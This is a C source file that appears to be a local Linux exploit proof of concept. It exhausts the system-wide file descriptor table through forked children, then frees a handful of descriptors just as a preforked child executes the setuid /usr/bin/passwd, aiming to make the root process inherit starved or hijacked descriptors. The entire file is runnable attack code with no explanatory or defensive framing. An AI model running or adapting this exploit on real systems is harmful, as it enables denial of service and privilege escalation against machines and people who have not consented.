#include <stdio.h>

#include <unistd.h>

#include <signal.h>

#include <fcntl.h>

#include <errno.h>







#define PREFORK 1

#define EXECBIN "/usr/bin/passwd"

#define FREENUM 18





static int fc = 0;

static int ec = 0;







void forkmore(int v)

{

    fc++;

}





void execmore(int v)

{

    ec++;

}





int main()

{

    int r, cn, pt[PREFORK];





    signal(SIGUSR1, &forkmore);

    signal(SIGUSR2, &execmore);

    printf("\n");



    for (cn = 0; cn < PREFORK; cn++) {

	if (!(r = fork())) {

	    printf("\npreforked child %d", cn);

	    fflush(stdout);

	    while (!ec) {

		usleep(100000);

	    }



	    printf("\nexecuting %s\n", EXECBIN);

	    fflush(stdout);



	    execl(EXECBIN, EXECBIN, NULL);



	    printf("\nwhat the fuck?");

	    fflush(stdout);

	    while (1)

		sleep(999999);

	    exit(1);

	} else

	    pt[cn] = r;

    }



    sleep(1);

    printf("\n\n");

    fflush(stdout);

    cn = 0;



    while (1) {

	fc = ec = 0;

	cn++;



	if (!(r = fork())) {

	    int cnt = 0, fd = 0, ofd = 0;



	    while (1) {

		ofd = fd;

		fd = open("/dev/null", O_RDWR);

		if (fd < 0) {

		    printf("errno %d ", errno);

		    printf("pid %d got %d files\n", getpid(), cnt);

		    fflush(stdout);



		    if (errno == ENFILE)

			kill(getppid(), SIGUSR2);

		    else

			kill(getppid(), SIGUSR1);



		    break;

		} else

		    cnt++;

	    }



	    ec = 0;



	    while (1) {

		usleep(100000);

		if (ec) {

		    printf("\nfreeing some file descriptors...\n");

		    fflush(stdout);

		    for (cn = 0; cn < FREENUM; cn++) {

			printf("\n pid %d closing %d", getpid(), ofd);

			close(ofd--);

		    }

		    ec = 0;

		    kill(getppid(), SIGUSR2);

		}

	    }



	} else {

	    while (!ec && !fc)

		usleep(100000);



	    if (ec) {

		printf("\n\nfile limit reached, eating some root's fd");

		fflush(stdout);



		sleep(1);

		ec = 0;

		kill(r, SIGUSR2);

		while (!ec)

		    sleep(1);



		for (cn = 0; cn < PREFORK; cn++)

		    kill(pt[cn], SIGUSR2);



		while (1) {

		    sleep(999999);

		}

	    }

	}

    }



    return 0;

}